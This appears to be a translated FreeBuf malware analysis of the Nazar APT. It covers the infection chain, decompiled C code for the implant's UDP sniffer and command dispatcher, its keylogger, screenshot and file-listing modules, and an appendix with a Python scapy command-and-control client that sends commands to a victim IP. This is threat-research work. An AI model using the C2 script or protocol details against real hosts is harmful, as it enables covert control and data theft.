Nazar APT组织分析
6:22 AM 11/7/2012 conficker still on target 6:18 AM 11/7/2012 checking logs – we are clean 8:16 PM 7/2/2012 – BOOM!, got the callback
这些是方程组（NSA）在攻击目标系统留下的记录，后来被Shadow Brokers泄露。 最近，安全研究员透露了一个先前被错误识别且未知的威胁组织Nazar，本文将对Nazar组件进行深入分析。
事件背景
影子经纪人泄漏的数据使众多漏洞（例如EternalBlue）成为众人关注的焦点，但其中还包含了许多更有价值的组件，这些组件显示了Equation Group在发动攻击之前采取的一些预防措施。
例如，在泄漏文件中名为“ drv_list.txt”的文件，其中包含驱动程序名称列表和相应的注释，如果在目标系统上找到了驱动程序，则会将信息发送给攻击者。
列表中还包含恶意驱动程序的名称，如果找到这些恶意驱动程序，表明目标系统已经被其他人破坏，然后警告攻击者“撤回”。负责此类检查的关键组件名为“Territorial Dispute”或者“TeDi”。
“ TeDi”包含45个签名，可在目标系统中搜索与其他威胁组织关联的注册表项和文件名。与安全扫描不同，攻击者最终目的是确保自身操作不会受到干扰，其他攻击者不会检测到他们的工具。
在某些情况下，防止自身操作不会干扰“友好”威胁组的运行，也不会同时攻击同一目标。
安全研究员指出，“ TeDi”中的第37个签名是寻找名为“ Godown.dll”的文件，它指向的就是伊朗威胁组织“Nazar”。
执行流程
Nazar在2008年左右开始活动，可能与第‘TeDi’第37个签名相关，它负责检测Nazar工具插件“ Godown.dll”。
Nazar执行的初始二进制文件是gpUpdates.exe。 它是由“ Zip 2 Secure EXE”创建的自解压文档（SFX）。 执行后，gpUpdates将三个文件写入磁盘：Data.bin，info和Distribute.exe， 然后gpUpdates.exe将启动Distribute.exe。
Distribute.exe
首先，Distribute.exe将读取info和Data.bin。 Data.bin是一个二进制Blob，其中包含多个PE文件。info文件非常小，其中包含一个简单的结构，该结构表示Data.bin中PE文件的长度。 Distribute.exe将按文件长度的顺序逐个读取Data.bin。下表显示了Data.bin文件与info写入长度的关系。
之后Distribute.exe使用regsv***将3个DLL文件写入注册表中。
使用CreateServiceA将svchost.exe添加为名为“ EYService”的服务，启动该服务并退出。 该服务是攻击的主要部分，协调Nazar调用模块。
通信分析
服务执行后，首先设置数据包嗅探。
DWORD __stdcall main_thread(LPVOID lpThreadParameter)
{
HANDLE hMgr; // edi
HANDLE hCfg; // esi
HANDLE hFtr; // edi
hMgr = MgrCreate();
MgrInitialize(hMgr);
hCfg = MgrGetFirstAdapterCfg(hMgr);
do
{
if ( !AdpCfgGetAccessibleState(hCfg) )
break;
hCfg = MgrGetNextAdapterCfg(hMgr, hCfg);
}
while ( hCfg );
ADP_struct = AdpCreate();
AdpSetConfig(ADP_struct, hCfg);
if ( !AdpOpenAdapter(ADP_struct) )
{
AdpGetConnectStatus(ADP_struct);
MaxPacketSize = AdpCfgGetMaxPacketSize(hCfg);
adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0);
AdpCfgGetMACAddress(hCfg, &mac_address, 6);
hFtr = BpfCreate();
BpfAddCmd(hFtr, BPF_LD_B_ABS, 23u); // Get Protocol field value
BpfAddJmp(hFtr, BPF_JMP_JEQ, IPPROTO_UDP, 0, 1);// Protocol == UDP
BpfAddCmd(hFtr, BPF_RET, 0xFFFFFFFF);
BpfAddCmd(hFtr, BPF_RET, 0);
AdpSetUserFilter(ADP_struct, hFtr);
AdpSetUserFilterActive(ADP_struct, 1);
AdpSetOnPacketRecv(ADP_struct, on_packet_recv_handler, 0);
AdpSetMacFilter(ADP_struct, 2);
while ( 1 )
{
if ( stop_and_ping == 1 )
{
adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0);
connection_method(2);
stop_and_ping = 0;
}
Sleep(1000u);
}
}
return 0;
}
每当UDP数据包到达时，无论是否存在响应，都会记录其源IP以用于下一个响应。 然后检查数据包的目标端口，如果是1234，则将数据将转发到命令处理器。
int __cdecl commandMethodsWrapper(udp_t *udp_packet, int zero, char *src_ip, int ip_id)
{
int length; // edi
length = HIBYTE(udp_packet->length) - 8;
ntohs(udp_packet->src_port);
if ( ntohs(udp_packet->dst_port) != 1234 )
return 0;
commandDispatcher(&udp_packet[1], src_ip, ip_id, length);
return 1;
}
数据响应
每个响应都会从头开始构建数据包，响应分为3种类型：
1、发送ACK：目标端口4000，有效负载101; 0000
2、发送计算机信息：目标端口4000，有效负载100； ;
3、发送文件：通过UDP发送数据，然后是带有的数据包。如果服务器将标识为0×3456的数据包发送到目标端口1234，恶意软件将使用目标端口0×5634发送响应。
支持命令
下表为命令支持列表：
Dll分析
Godown.dll
Godown.dll是SIG37重点关注的DLL，它是一个小型DLL，只有一个关闭计算机的功能。
Filesystem.dll
Filesystem.dll是由攻击者自己编写的模块。该模块的目的是枚举受感染系统上的驱动器，文件夹和文件，并将结果写入Drives.txt和Files.txt。
目前发现两个版本均包含PDB路径，其中提到了波斯语为Khzer（或خضر）的文件夹：
C:\\khzer\\DLLs\\DLL’s Source\\Filesystem\\Debug\\Filesystem.pdb D:\\Khzer\\Client\\DLL’s Source\\Filesystem\\Debug\\Filesystem.pdb
两条路径之间存在一些差异，表明该模块的两个版本不是在同一环境中编译的。
hodll.dll
hodll.dll模块负责键盘记录，通过设置钩子来完成。该代码来自开源代码库，某种程度上像从互联网上复制了多个项目的代码，最终拼装在一起。
ViewScreen.dll
该DLL基于名为“ BMGLib”的开源项目，用于获取受害者计算机的屏幕截图。
附录
IOCs
Python Server
from scapy.all import *
import struct
import socket
import hexdump
import argparse
DST_PORT = 1234
# 4000 is the usual port without sending files, but we use it for everything, because why not?
SERVER_PORT = 4000
# We want to make sure the ID has the little endian of it
ID = struct.unpack('>H',struct.pack('= 4
and payload[:3] == b'---'
and payload[4] >= ord('0')
and payload[4] ').strip()
if 'quit' in curr_message:
return None
if 'help' in curr_message:
print(MENU)
else:
return curr_message
def get_sock():
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_address = '0.0.0.0'
server = (server_address, SERVER_PORT)
sock.bind(server)
return sock
def main(ip_addr):
sock = get_sock()
print(MENU)
multi_packets = ["200","201", "119", "189", "311", "199", "599"]
single_packets = ["999", "555"]
all_commands = single_packets + multi_packets
while True:
curr_message = get_message()
if not curr_message:
break
# Send message using scapy
# Make sure the IP identification field is little endian of the port.
sr1(
IP(dst=ip_addr, id=ID)/
UDP(sport=SERVER_PORT,dport=1234)/
Raw(load=curr_message),
verbose=0
)
command = curr_message[:3]
if command not in all_commands:
continue
should_loop = command in multi_packets
get_response(sock, should_loop)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="victim's IP")
parser.add_argument('ip')
args = parser.parse_args()
main(args.ip)
*参考来源： checkpoint ，由Kriston编译，转载请注明来自FreeBuf.COM
About The Author
